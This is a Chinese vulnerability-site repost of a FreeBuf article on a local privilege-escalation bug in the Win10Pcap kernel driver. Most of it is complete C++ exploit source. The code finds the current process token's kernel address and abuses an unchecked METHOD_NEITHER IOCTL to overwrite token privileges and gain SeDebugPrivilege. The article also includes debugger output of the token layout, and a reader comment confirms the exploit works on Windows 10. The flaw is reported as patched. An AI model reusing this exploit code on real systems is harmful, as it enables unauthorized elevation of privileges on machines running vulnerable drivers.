CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

winpcap驱动

2017年5月24日 1114点热度 0人点赞 0条评论

winpcap驱动

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

Win10Pcap-Exploit:利用Win10Pcap内核驱动程序漏洞实现本地提权

鸢尾2015-10-21+8共161119人围观 ,发现 6 个不明物体漏洞资讯

前几天我在win10pcap驱动中发现一枚可以进行本地提权的漏洞,当时就已经报告给官方,现在已可以通过更新得到修复。

http://www.win10pcap.org/download/

应众多朋友请求,遂将样本exploit公布出来,供大家学习参考。

简介

Win10Pcap是一款全新的基于WinPcap网络抓包库。与WinPcap不同,Win10Pcap是兼容NDIS 6.x驱动模式,并且能够在Windows 10系统下稳定运行,于此同时Win10Pcap还支持捕获IEEE802.1Q VLAN目标。所以如果你是在Windows 10下安装的wireshark,那么Win10Pcap会成为你不二的选择。

漏洞概述

Win10Pcap内核驱动没有检测来自用户传递的虚拟地址,IOCTL函数既没有进行缓冲处理也没有管理I/O通道,没有写入探针来验证传递地址。

在运行时,你需要找到准确的设备名发送给IOCTL函数,硬编码设备名不会触发漏洞代码。

IOCTL函数在传递地址中写入一个字符串,这个字符串类似于:

"Global\WTCAP_EVENT_3889023063_1"

还有其他一些方式来利用这个漏洞,我决定覆盖_SEP_TOKEN_PRIVILEGES在进程令牌中设置权限。

在地址0×034使用字符串"Global\WTCAP_EVENT"覆盖令牌,不破坏敏感文件设置SeDebugPrivilege权限

81687cf8 cc              int     3
2: kd> dt nt!_TOken
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER
   +0x030 TokenLock        : Ptr32 _ERESOURCE
   +0x034 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY

福利Show

main.cpp:

#include <stdio.h>
#include <tchar.h>
#include<Windows.h>
#include<stdio.h>
#include <winternl.h>
#include <intrin.h>
#include <psapi.h>
#include <strsafe.h>
#include <assert.h>
#defineSL_IOCTL_GET_EVENT_NAMECTL_CODE(0x8000, 1, METHOD_NEITHER, FILE_ANY_ACCESS)
#define STATUS_SUCCESS((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH((NTSTATUS)0xc0000004L)
/* found with :
!token 
1: kd> dt nt!_OBJECT_HEADER
   +0x000 PointerCount     : Int4B
   +0x004 HandleCount      : Int4B
   +0x004 NextToFree       : Ptr32 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : UChar
   +0x00d TraceFlags       : UChar
   +0x00e InfoMask         : UChar
   +0x00f Flags            : UChar
   +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : Ptr32 Void
   +0x014 SecurityDescriptor : Ptr32 Void
   +0x018 Body             : _QUAD
TypeIndex is 0x5
*/
#define HANDLE_TYPE_TOKEN0x5
// Undocumented SYSTEM_INFORMATION_CLASS: SystemHandleInformation
const SYSTEM_INFORMATION_CLASS SystemHandleInformation = 
(SYSTEM_INFORMATION_CLASS)16;
// The NtQuerySystemInformation function and the structures that it returns 
// are internal to the operating system and subject to change from one 
// release of Windows to another. To maintain the compatibility of your 
// application, it is better not to use the function.
typedef NTSTATUS (WINAPI * PFN_NTQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
// Undocumented structure: SYSTEM_HANDLE_INFORMATION
typedef struct _SYSTEM_HANDLE 
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION 
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
// Undocumented FILE_INFORMATION_CLASS: FileNameInformation
const FILE_INFORMATION_CLASS FileNameInformation = 
(FILE_INFORMATION_CLASS)9;
// The NtQueryInformationFile function and the structures that it returns 
// are internal to the operating system and subject to change from one 
// release of Windows to another. To maintain the compatibility of your 
// application, it is better not to use the function.
typedef NTSTATUS (WINAPI * PFN_NTQUERYINFORMATIONFILE)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass
);
// FILE_NAME_INFORMATION contains name of queried file object.
typedef struct _FILE_NAME_INFORMATION {
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;
void* FindTokenAddressHandles(ULONG pid)
{
/////////////////////////////////////////////////////////////////////////
// Prepare for NtQuerySystemInformation and NtQueryInformationFile.
// 
// The functions have no associated import library. You must use the 
// LoadLibrary and GetProcAddress functions to dynamically link to 
// ntdll.dll.
HINSTANCE hNtDll = LoadLibrary(_T("ntdll.dll"));
assert(hNtDll != NULL);
PFN_NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = 
(PFN_NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll, 
"NtQuerySystemInformation");
assert(NtQuerySystemInformation != NULL);
/////////////////////////////////////////////////////////////////////////
// Get system handle information.
// 
DWORD nSize = 4096, nReturn;
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)
HeapAlloc(GetProcessHeap(), 0, nSize);
// NtQuerySystemInformation does not return the correct required buffer 
// size if the buffer passed is too small. Instead you must call the 
// function while increasing the buffer size until the function no longer 
// returns STATUS_INFO_LENGTH_MISMATCH.
while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, 
nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH)
{
HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
nSize += 4096;
pSysHandleInfo = (SYSTEM_HANDLE_INFORMATION*)HeapAlloc(
GetProcessHeap(), 0, nSize);
}
for (ULONG i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{
PSYSTEM_HANDLE pHandle = &(pSysHandleInfo->Handles[i]);
if (pHandle->ProcessId == pid && pHandle->ObjectTypeNumber == HANDLE_TYPE_TOKEN)
{
printf(" ObjectTypeNumber %d , ProcessId %d , Object  %p \r\n",pHandle->ObjectTypeNumber,pHandle->ProcessId,pHandle->Object);
return pHandle->Object;
}
}
/////////////////////////////////////////////////////////////////////////
// Clean up.
// 
HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
return 0;
}
void main()
{
DWORD dwBytesReturned;
DWORD ShellcodeFakeMemory;
HANDLE token;
// first create toke handle so find  object address with handle 
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,&token))
DebugBreak();
void* TokenAddress = FindTokenAddressHandles(GetCurrentProcessId());
CloseHandle(token);
// i dont want write fully weaponized exploit so criminal must write code to find  "WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3" in runtime ( simple task :)  
HANDLE hDriver = CreateFileA("\\\\.\\WTCAP_A_{B8296C9f-8ed4-48A2-84A0-A19DB94418E3}",GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  if(hDriver!=INVALID_HANDLE_VALUE)
  {
   fprintf(stderr," Open Driver OK\n");
  if (!DeviceIoControl(hDriver, SL_IOCTL_GET_EVENT_NAME, NULL,0x80,(void*)((char*)TokenAddress+0x34),NULL,&dwBytesReturned, NULL))
  {
  fprintf(stderr,"send IOCTL error %d.\n",GetLastError());
  return;
  }
  else  fprintf(stderr," Send IOCTL OK\n");
  }
  else 
  {
  fprintf(stderr," Open Driver error %d.\n",GetLastError());
  return;
  }
  CloseHandle(hDriver);
  getchar();
}

* 参考来源:github,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

鸢尾

鸢尾169 篇文章等级: 8级
|
|
  • 上一篇:解密:地下黑市都在卖什么?
  • 下一篇:西部数据(WD)自加密硬盘被曝存在漏洞
发表评论

已有 6 条评论

  • Bartholomew (1级) 2015-10-21回复1楼

    哪位大神来深入解释下

    亮了(2)
  • 鸢尾男友 2015-10-21回复2楼

    不嘛,人家不要cpp人家要exe

    亮了(5)
    • 鸢尾前男友 2015-10-21回复

      @ 鸢尾男友 还想要exe,哼~

      亮了(4)
  • zoonctrl (5级)该怎么做好信息安全? 2015-10-21回复3楼

    吓我一身冷汗

    亮了(3)
  • songbei6 (1级) 2015-10-22回复4楼

    亲测可用。
    测试环境:
    Win10Pcap-v10.1-5001.msi
    Win 10 x86
    开启UAC。

    亮了(2)
  • hsluoyz (1级)北京大学软件工程专业博士研究生 2016-01-11回复5楼

    现在Nmap项目基于WinPcap推出的改进版本Npcap for Nmap,也支持Win10抓包,并且功能比Win10Pcap更为完善,欢迎测试哈~:https://github.com/nmap/npcap

    亮了(2)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

鸢尾

鸢尾

打码改变人生

169 篇文章124 条评论

相关阅读

  • 匿名组织异议者声称对DDoS海盗湾负责
  • 毒贩利用漏洞入侵无人机实现非法偷渡
  • 补丁时间:NTP守护进程中有数个漏洞需修复
  • MagSpoof:能预测并窃取你下一张信用卡号码的廉价设备
  • 某国资助的基于火焰平台的银行木马—Gauss被发现

特别推荐

关注我们 分享每日精选文章

不容错过

  • 工具推荐:Cknife,跨平台版中国菜刀正式开源Chora2016-03-21
  • 飞越珠海来看你:2016 GeekPwn澳门全程纪实FB独家2016-05-16
  • 走进科学:黑客叔叔带你玩转LED_Hackingp0tt12014-10-13
  • 走近科学:那些年,媒体笔下被夸大的黑客fu4k2014-12-01

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月24日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me